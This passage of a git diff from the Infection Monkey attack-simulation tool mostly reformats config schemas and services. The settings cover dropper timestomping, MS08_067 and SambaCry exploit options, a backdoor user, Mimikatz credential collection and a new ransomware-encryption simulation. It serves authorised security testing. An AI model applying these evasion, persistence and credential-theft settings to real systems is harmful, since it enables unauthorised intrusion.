{ "title": "TCP scan timeout", "type": "integer", "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" + "description": "Maximum time (in milliseconds) " + "to wait for TCP response", }, "tcp_scan_get_banner": { "title": "TCP scan - get banner", "type": "boolean", "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } + "description": "Determines whether the TCP scan should try to get the " + "banner", + }, + }, }, "ping_scanner": { "title": "Ping scanner", @@ -215,11 +195,12 @@ INTERNAL = { "title": "Ping scan timeout", "type": "integer", "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" + "description": "Maximum time (in milliseconds) to wait for ping " + "response", } - } - } - } + }, + }, + }, }, "classes": { "title": "Classes", @@ -229,9 +210,7 @@ INTERNAL = { "title": "Fingerprint classes", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, + "items": {"$ref": "#/definitions/finger_classes"}, "default": [ "SMBFinger", "SSHFinger", @@ -239,10 +218,10 @@ INTERNAL = { "HTTPFinger", "MySQLFinger", "MSSQLFinger", - "ElasticFinger" - ] + "ElasticFinger", + ], } - } + }, }, "kill_file": { "title": "Kill file", @@ -252,15 +231,15 @@ INTERNAL = { "title": "Kill file path on Windows", "type": "string", "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" + "description": "Path of file which kills monkey if it exists (on Windows)", }, "kill_file_path_linux": { "title": "Kill file path on Linux", "type": "string", "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } + "description": "Path of file which kills monkey if it exists (on Linux)", + }, + }, }, "dropper": { "title": "Dropper", @@ -270,55 +249,58 @@ INTERNAL = { "title": "Dropper sets date", "type": "boolean", "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" + "description": "Determines whether the dropper should set the monkey's file " + "date to be the same as" + " another file", }, "dropper_date_reference_path_windows": { "title": "Dropper date reference path (Windows)", "type": "string", "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" + "description": "Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Windows (use fullpath)", }, "dropper_date_reference_path_linux": { "title": "Dropper date reference path (Linux)", "type": "string", "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" + "description": "Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Linux (use fullpath)", }, "dropper_target_path_linux": { "title": "Dropper target path on Linux", "type": "string", "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" + "description": "Determines where should the dropper place the monkey on a " + "Linux machine", }, "dropper_target_path_win_32": { "title": "Dropper target path on Windows (32bit)", "type": "string", "default": "C:\\Windows\\temp\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" + "description": "Determines where should the dropper place the monkey on a " + "Windows machine " + "(32bit)", }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", "default": "C:\\Windows\\temp\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" + "description": "Determines where should the dropper place the monkey on a " + "Windows machine " + "(64 bit)", }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", "default": True, - "description": - "Determines whether the dropper should try to move itself instead of copying itself" - " to target path" - } - } + "description": "Determines whether the dropper should try to move itself " + "instead of copying itself" + " to target path", + }, + }, }, "logging": { "title": "Logging", @@ -328,33 +310,34 @@ INTERNAL = { "title": "Dropper log file path on Linux", "type": "string", "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" + "description": "The fullpath of the dropper log file on Linux", }, "dropper_log_path_windows": { "title": "Dropper log file path on Windows", "type": "string", "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" + "description": "The fullpath of the dropper log file on Windows", }, "monkey_log_path_linux": { "title": "Monkey log file path on Linux", "type": "string", "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" + "description": "The fullpath of the monkey log file on Linux", }, "monkey_log_path_windows": { "title": "Monkey log file path on Windows", "type": "string", "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" + "description": "The fullpath of the monkey log file on Windows", }, "send_log_to_server": { "title": "Send log to server", "type": "boolean", "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } + "description": "Determines whether the monkey sends its log to the Monkey " + "Island server", + }, + }, }, "exploits": { "title": "Exploits", @@ -364,32 +347,27 @@ INTERNAL = { "title": "Exploit LM hash list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [], - "description": "List of LM hashes to use on exploits using credentials" + "description": "List of LM hashes to use on exploits using credentials", }, "exploit_ntlm_hash_list": { "title": "Exploit NTLM hash list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" + "description": "List of NTLM hashes to use on exploits using credentials", }, "exploit_ssh_keys": { "title": "SSH key pairs list", "type": "array", "uniqueItems": True, "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - }, "general": { + "items": {"type": "string"}, + "description": "List of SSH key pairs to use, when trying to ssh into servers", + }, + "general": { "title": "General", "type": "object", "properties": { @@ -397,10 +375,11 @@ INTERNAL = { "title": "Skip exploit if file exists", "type": "boolean", "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" + "description": "Determines whether the monkey should skip the exploit " + "if the monkey's file" + " is already on the remote machine", } - } + }, }, "ms08_067": { "title": "MS08_067", @@ -410,21 +389,15 @@ INTERNAL = { "title": "MS08_067 exploit attempts", "type": "integer", "default": 5, - "description": "Number of attempts to exploit using MS08_067" + "description": "Number of attempts to exploit using MS08_067", }, "user_to_add": { "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" + "description": "Username to add on successful exploit", }, - "remote_user_pass": { - "title": "Remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } + }, }, "sambacry": { "title": "SambaCry", @@ -434,41 +407,37 @@ INTERNAL = { "title": "SambaCry trigger timeout", "type": "integer", "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" + "description": "Timeout (in seconds) of SambaCry trigger", }, "sambacry_folder_paths_to_guess": { "title": "SambaCry folder paths to guess", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home", ], - "description": "List of full paths to share folder for SambaCry to guess" + "description": "List of full paths to share folder for SambaCry to " + "guess", }, "sambacry_shares_not_to_check": { "title": "SambaCry shares not to check", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - } + "items": {"type": "string"}, + "default": ["IPC$", "print$"], + "description": "These shares won't be checked when exploiting with " + "SambaCry", + }, + }, + }, }, "smb_service": { "title": "SMB service", @@ -478,17 +447,18 @@ INTERNAL = { "title": "SMB download timeout", "type": "integer", "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + "description": "Timeout (in seconds) for SMB download operation (used in " + "various exploits using SMB)", }, "smb_service_name": { "title": "SMB service name", "type": "string", "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } + "description": "Name of the SMB service that will be set up to download " + "monkey", + }, + }, + }, }, "testing": { "title": "Testing", @@ -498,10 +468,11 @@ INTERNAL = { "title": "Export monkey telemetries", "type": "boolean", "default": False, - "description": "Exports unencrypted telemetries that can be used for tests in development." - " Do not turn on!" + "description": "Exports unencrypted telemetries that " + "can be used for tests in development." + " Do not turn on!", } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 82a394b65..e745da582 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,11 @@ -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) MONKEY = { "title": "Monkey", @@ -15,54 +20,52 @@ MONKEY = { "type": "string", "default": "", "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - "\"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh\"" + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', }, "PBA_linux_file": { "title": "Linux post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "Use the 'Linux post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename." + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, "custom_PBA_windows_cmd": { "title": "Windows post-breach command", "type": "string", "default": "", "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - "\"my_script.bat & del my_script.bat\"" + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"my_script.bat & del my_script.bat"', }, "PBA_windows_file": { "title": "Windows post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "Use the 'Windows post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename." + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, "PBA_windows_filename": { "title": "Windows PBA filename", "type": "string", - "default": "" + "default": "", }, "PBA_linux_filename": { "title": "Linux PBA filename", "type": "string", - "default": "" + "default": "", }, "post_breach_actions": { "title": "Post breach actions", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/post_breach_actions" - }, + "items": {"$ref": "#/definitions/post_breach_actions"}, "default": [ "BackdoorUser", "CommunicateAsNewUser", @@ -72,10 +75,10 @@ MONKEY = { "ChangeSetuidSetgid", "ScheduleJobs", "Timestomping", - "AccountDiscovery" - ] + "AccountDiscovery", + ], }, - } + }, }, "system_info": { "title": "System info", @@ -85,19 +88,17 @@ MONKEY = { "title": "System info collectors", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/system_info_collector_classes" - }, + "items": {"$ref": "#/definitions/system_info_collector_classes"}, "default": [ ENVIRONMENT_COLLECTOR, AWS_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, - AZURE_CRED_COLLECTOR - ] + AZURE_CRED_COLLECTOR, + ], }, - } + }, }, "persistent_scanning": { "title": "Persistent scanning", @@ -108,26 +109,26 @@ MONKEY = { "type": "integer", "default": 1, "minimum": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur " - "(how many times to do the scan)" + "description": "Determines how many iterations of the monkey's full lifecycle " + "should occur " + "(how many times to do the scan)", }, "timeout_between_iterations": { "title": "Wait time between iterations", "type": "integer", "default": 100, "minimum": 0, - "description": - "Determines for how long (in seconds) should the monkey wait before starting another scan" + "description": "Determines for how long (in seconds) should the monkey wait " + "before starting another scan", }, "retry_failed_explotation": { "title": "Retry failed exploitation", "type": "boolean", "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfully exploit on previous scans" - } - } - } - } + "description": "Determines whether the monkey should retry exploiting machines" + " it didn't successfully exploit on previous scans", + }, + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py new file mode 100644 index 000000000..dd77a175d --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -0,0 +1,71 @@ +from common.common_consts.validation_formats import ( + VALID_RANSOMWARE_TARGET_PATH_LINUX, + VALID_RANSOMWARE_TARGET_PATH_WINDOWS, +) + +RANSOMWARE = { + "title": "Ransomware", + "type": "object", + "properties": { + "encryption": { + "title": "Simulation", + "type": "object", + "description": "To simulate ransomware encryption, you'll need to provide Infection " + "Monkey with files that it can safely encrypt. On each machine where you would like " + "the ransomware simulation to run, create a directory and put some files in it." + "\n\nProvide the path to the directory that was created on each machine.", + "properties": { + "enabled": { + "title": "Encrypt files", + "type": "boolean", + "default": True, + "description": "Ransomware encryption will be simulated by flipping every bit " + "in the files contained within the target directories.", + }, + "info_box": { + "info": "No files will be encrypted if a directory is not specified or doesn't " + "exist on a victim machine.", + }, + "directories": { + "title": "Directories to encrypt", + "type": "object", + "properties": { + "linux_target_dir": { + "title": "Linux target directory", + "type": "string", + "format": VALID_RANSOMWARE_TARGET_PATH_LINUX, + "default": "", + "description": "A path to a directory on Linux systems that contains " + "files that you will allow Infection Monkey to encrypt. If no " + "directory is specified, no files will be encrypted.", + }, + "windows_target_dir": { + "title": "Windows target directory", + "type": "string", + "format": VALID_RANSOMWARE_TARGET_PATH_WINDOWS, + "default": "", + "description": "A path to a directory on Windows systems that contains " + "files that you will allow Infection Monkey to encrypt. If no " + "directory is specified, no files will be encrypted.", + }, + }, + }, + "text_box": { + "text": "Note: A README.txt will be left in the specified target " "directory.", + }, + }, + }, + "other_behaviors": { + "title": "Other behavior", + "type": "object", + "properties": { + "readme": { + "title": "Create a README.txt file", + "type": "boolean", + "default": True, + "description": "Creates a README.txt ransomware note on infected systems.", + } + }, + }, + }, +} diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py index 493d5af03..8d2b5c18c 100644 --- a/monkey/monkey_island/cc/services/configuration/utils.py +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -1,5 +1,5 @@ -from monkey_island.cc.services.config import ConfigService from common.config_value_paths import INACCESSIBLE_SUBNETS_PATH +from monkey_island.cc.services.config import ConfigService def get_config_network_segments_as_subnet_groups(): diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 6144b6ef3..d0656f946 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -6,7 +6,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import remove_PBA_files logger = logging.getLogger(__name__) @@ -17,15 +16,17 @@ class Database(object): @staticmethod def reset_db(): - logger.info('Resetting database') - remove_PBA_files() + logger.info("Resetting database") # We can't drop system collections. - [Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.') - and not x == AttackMitigations.COLLECTION_NAME] + [ + Database.drop_collection(x) + for x in mongo.db.collection_names() + if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME + ] ConfigService.init_config() AttackConfig.reset_config() - logger.info('DB was reset') - return jsonify(status='OK') + logger.info("DB was reset") + return jsonify(status="OK") @staticmethod def drop_collection(collection_name: str): diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py index f7a0664bf..9e2ce1730 100644 --- a/monkey/monkey_island/cc/services/edge/displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -5,11 +5,8 @@ from bson import ObjectId from monkey_island.cc.services.edge.edge import EdgeService -__author__ = "itay.mizeretz" - class DisplayedEdgeService: - @staticmethod def get_displayed_edges_by_dst(dst_id: str, for_report=False): edges = EdgeService.get_by_dst_node(dst_node_id=ObjectId(dst_id)) @@ -27,8 +24,9 @@ class DisplayedEdgeService: os = {} if len(edge.scans) > 0: - services = DisplayedEdgeService.services_to_displayed_services(edge.scans[-1]["data"]["services"], - for_report) + services = DisplayedEdgeService.services_to_displayed_services( + edge.scans[-1]["data"]["services"], for_report + ) os = edge.scans[-1]["data"]["os"] displayed_edge = DisplayedEdgeService.edge_to_net_edge(edge) @@ -36,23 +34,22 @@ class DisplayedEdgeService: displayed_edge["ip_address"] = edge.ip_address displayed_edge["services"] = services displayed_edge["os"] = os - # we need to deepcopy all mutable edge properties, because weak-reference link is made otherwise, - # which is destroyed after method is exited and causes an error later. + # we need to deepcopy all mutable edge properties, because weak-reference link is made + # otherwise, which is destroyed after method is exited and causes an error later. displayed_edge["exploits"] = deepcopy(edge.exploits) displayed_edge["_label"] = edge.get_label() return displayed_edge @staticmethod def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label): - edge = \ - { - "id": edge_id, - "from": src_node_id, - "to": dst_node_id, - "group": "island", - "src_label": src_label, - "dst_label": dst_label - } + edge = { + "id": edge_id, + "from": src_node_id, + "to": dst_node_id, + "group": "island", + "src_label": src_label, + "dst_label": dst_label, + } edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge) return edge @@ -65,19 +62,21 @@ class DisplayedEdgeService: if for_report: return [x for x in services] else: - return [x + ": " + (services[x]['name'] if 'name' in services[x] else 'unknown') for x in services] + return [ + x + ": " + (services[x]["name"] if "name" in services[x] else "unknown") + for x in services + ] @staticmethod def edge_to_net_edge(edge: EdgeService): - return \ - { - "id": edge.id, - "from": edge.src_node_id, - "to": edge.dst_node_id, - "group": edge.get_group(), - "src_label": edge.src_label, - "dst_label": edge.dst_label - } + return { + "id": edge.id, + "from": edge.src_node_id, + "to": edge.dst_node_id, + "group": edge.get_group(), + "src_label": edge.src_label, + "dst_label": edge.dst_label, + } RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 4c9ef57d7..461b0e8a5 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -12,7 +12,6 @@ RIGHT_ARROW = "\u2192" class EdgeService(Edge): - @staticmethod def get_all_edges() -> List[EdgeService]: return EdgeService.objects() @@ -44,7 +43,9 @@ class EdgeService(Edge): elif self.dst_node_id == node_id: self.dst_label = label else: - raise DoesNotExist("Node id provided does not match with any endpoint of an self provided.") + raise DoesNotExist( + "Node id provided does not match with any endpoint of an self provided." + ) self.save() @staticmethod @@ -65,12 +66,8 @@ class EdgeService(Edge): self.save() def update_based_on_scan_telemetry(self, telemetry: Dict): - machine_info = copy.deepcopy(telemetry['data']['machine']) - new_scan = \ - { - "timestamp": telemetry["timestamp"], - "data": machine_info - } + machine_info = copy.deepcopy(telemetry["data"]["machine"]) + new_scan = {"timestamp": telemetry["timestamp"], "data": machine_info} ip_address = machine_info.pop("ip_addr") domain_name = machine_info.pop("domain_name") self.scans.append(new_scan) @@ -81,7 +78,7 @@ class EdgeService(Edge): def update_based_on_exploit(self, exploit: Dict): self.exploits.append(exploit) self.save() - if exploit['result']: + if exploit["result"]: self.set_exploited() def set_exploited(self): diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py deleted file mode 100644 index 5aa97d923..000000000 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ /dev/null @@ -1,93 +0,0 @@ -from bson import ObjectId - -from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService -from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService - -SCAN_DATA_MOCK = [{ - "timestamp": "2020-05-27T14:59:28.944Z", - "data": { - "os": { - "type": "linux", - "version": "Ubuntu-4ubuntu2.8" - }, - "services": { - "tcp-8088": { - "display_name": "unknown(TCP)", - "port": 8088 - }, - "tcp-22": { - "display_name": "SSH", - "port": 22, - "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", - "name": "ssh" - } - }, - "monkey_exe": None, - "default_tunnel": None, - "default_server": None - } -}] - -EXPLOIT_DATA_MOCK = [{ - "result": True, - "exploiter": "ElasticGroovyExploiter", - "info": { - "display_name": "Elastic search", - "started": "2020-05-11T08:59:38.105Z", - "finished": "2020-05-11T08:59:38.106Z", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [] - }, - "attempts": [], - "timestamp": "2020-05-27T14:59:29.048Z" -}] - - -class TestDisplayedEdgeService: - def test_get_displayed_edges_by_to(self): - - dst_id = ObjectId() - - src_id = ObjectId() - EdgeService.get_or_create_edge(src_id, dst_id, "Ubuntu-4ubuntu2.8", "Ubuntu-4ubuntu2.8") - - src_id2 = ObjectId() - EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8") - - displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id)) - assert len(displayed_edges) == 2 - - def test_edge_to_displayed_edge(self): - src_node_id = ObjectId() - dst_node_id = ObjectId() - edge = EdgeService(src_node_id=src_node_id, - dst_node_id=dst_node_id, - scans=SCAN_DATA_MOCK, - exploits=EXPLOIT_DATA_MOCK, - exploited=True, - domain_name=None, - ip_address="10.2.2.2", - dst_label="Ubuntu-4ubuntu2.8", - src_label="Ubuntu-4ubuntu3.2") - - displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) - - assert displayed_edge['to'] == dst_node_id - assert displayed_edge['from'] == src_node_id - assert displayed_edge['ip_address'] == "10.2.2.2" - assert displayed_edge['services'] == ["tcp-8088: unknown", "tcp-22: ssh"] - assert displayed_edge['os'] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} - assert displayed_edge['exploits'] == EXPLOIT_DATA_MOCK - assert displayed_edge['_label'] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" - assert displayed_edge['group'] == "exploited" - return displayed_edge - - def test_services_to_displayed_services(self): - services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], - True) - assert services1 == ["tcp-8088", "tcp-22"] - - services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], - False) - assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index 0e22a34ba..cf4bf8466 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -1,6 +1,5 @@ """This file will include consts values regarding the groupsandusers collection""" -__author__ = 'maor.rayzin' USERTYPE = 1 GROUPTYPE = 2 diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 44d303fc3..5529cc70d 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -4,25 +4,29 @@ from datetime import datetime from flask import jsonify from monkey_island.cc.database import mongo -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.report_generation_synchronisation import (is_report_being_generated, - safe_generate_reports) +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + is_report_being_generated, + safe_generate_reports, +) logger = logging.getLogger(__name__) class InfectionLifecycle: - @staticmethod def kill_all(): - mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, - upsert=False, - multi=True) - logger.info('Kill all monkeys was called') - return jsonify(status='OK') + mongo.db.monkey.update( + {"dead": False}, + {"$set": {"config.alive": False, "modifytime": datetime.now()}}, + upsert=False, + multi=True, + ) + logger.info("Kill all monkeys was called") + return jsonify(status="OK") @staticmethod def get_completed_steps(): @@ -39,13 +43,15 @@ class InfectionLifecycle: run_server=True, run_monkey=is_any_exists, infection_done=infection_done, - report_done=report_done) + report_done=report_done, + ) @staticmethod def _on_finished_infection(): - # Checking is_report_being_generated here, because we don't want to wait to generate a report; rather, + # Checking is_report_being_generated here, because we don't want to wait to generate a + # report; rather, # we want to skip and reply. if not is_report_being_generated() and not ReportService.is_latest_report_exists(): safe_generate_reports() if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: - TestTelemStore.export_test_telems() + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py new file mode 100644 index 000000000..6ff0d2706 --- /dev/null +++ b/monkey/monkey_island/cc/services/initialize.py @@ -0,0 +1,7 @@ +from monkey_island.cc.services.post_breach_files import PostBreachFilesService +from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService + + +def initialize_services(data_dir): + PostBreachFilesService.initialize(data_dir) + LocalMonkeyRunService.initialize(data_dir) diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index be6aae12d..0bbf4ec0b 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -1,7 +1,5 @@ import logging -__author__ = "Maor.Rayzin" - logger = logging.getLogger(__name__) @@ -13,21 +11,20 @@ class IslandLogService: def get_log_file(): """ This static function is a helper function for the monkey island log download function. - It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + It finds the logger handlers and checks if one of them is a fileHandler of any kind by + checking if the handler has the property handler.baseFilename. :return: a dict with the log file content. """ logger_handlers = logger.parent.handlers for handler in logger_handlers: - if hasattr(handler, 'baseFilename'): - logger.info('Log file found: {0}'.format(handler.baseFilename)) + if hasattr(handler, "baseFilename"): + logger.info("Log file found: {0}".format(handler.baseFilename)) log_file_path = handler.baseFilename - with open(log_file_path, 'rt') as f: + with open(log_file_path, "rt") as f: log_file = f.read() - return { - 'log_file': log_file - } + return {"log_file": log_file} - logger.warning('No log file could be found, check logger config.') + logger.warning("No log file could be found, check logger config.") return None diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py index a10e51f86..06437e4fc 100644 --- a/monkey/monkey_island/cc/services/log.py +++ b/monkey/monkey_island/cc/services/log.py @@ -3,8 +3,6 @@ from datetime import datetime import monkey_island.cc.services.node from monkey_island.cc.database import database, mongo -__author__ = "itay.mizeretz" - class LogService: def __init__(self): @@ -12,37 +10,33 @@ class LogService: @staticmethod def get_log_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({'monkey_id': monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log: - log_file = database.gridfs.get(log['file_id']) + log_file = database.gridfs.get(log["file_id"]) monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label( - monkey_island.cc.services.node.NodeService.get_monkey_by_id(log['monkey_id'])) - return \ - { - 'monkey_label': monkey_label, - 'log': log_file.read().decode(), - 'timestamp': log['timestamp'] - } + monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) + ) + return { + "monkey_label": monkey_label, + "log": log_file.read().decode(), + "timestamp": log["timestamp"], + } @staticmethod def remove_logs_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({'monkey_id': monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log is not None: - database.gridfs.delete(log['file_id']) - mongo.db.log.delete_one({'monkey_id': monkey_id}) + database.gridfs.delete(log["file_id"]) + mongo.db.log.delete_one({"monkey_id": monkey_id}) @staticmethod def add_log(monkey_id, log_data, timestamp=datetime.now()): LogService.remove_logs_by_monkey_id(monkey_id) - file_id = database.gridfs.put(log_data, encoding='utf-8') + file_id = database.gridfs.put(log_data, encoding="utf-8") return mongo.db.log.insert( - { - 'monkey_id': monkey_id, - 'file_id': file_id, - 'timestamp': timestamp - } + {"monkey_id": monkey_id, "file_id": file_id, "timestamp": timestamp} ) @staticmethod def log_exists(monkey_id): - return mongo.db.log.find_one({'monkey_id': monkey_id}) is not None + return mongo.db.log.find_one({"monkey_id": monkey_id}) is not None diff --git a/monkey/monkey_island/cc/test_common/__init__.py b/monkey/monkey_island/cc/services/mode/__init__.py similarity index 100% rename from monkey/monkey_island/cc/test_common/__init__.py rename to monkey/monkey_island/cc/services/mode/__init__.py diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py new file mode 100644 index 000000000..c45e03116 --- /dev/null +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -0,0 +1,26 @@ +import logging + +from monkey_island.cc.models.island_mode_model import IslandMode +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +LOG = logging.getLogger(__name__) + + +def set_mode(mode: IslandModeEnum): + island_mode_model = IslandMode() + island_mode_model.mode = mode.value + island_mode_model.save() + + +def get_mode() -> str: + if IslandMode.objects: + mode = IslandMode.objects[0].mode + return mode + else: + raise ModeNotSetError + + +class ModeNotSetError(Exception): + """ + Throw this exception when island mode is not set. + """ diff --git a/monkey/monkey_island/cc/services/mode/mode_enum.py b/monkey/monkey_island/cc/services/mode/mode_enum.py new file mode 100644 index 000000000..fce46db97 --- /dev/null +++ b/monkey/monkey_island/cc/services/mode/mode_enum.py @@ -0,0 +1,6 @@ +from enum import Enum + + +class IslandModeEnum(Enum): + 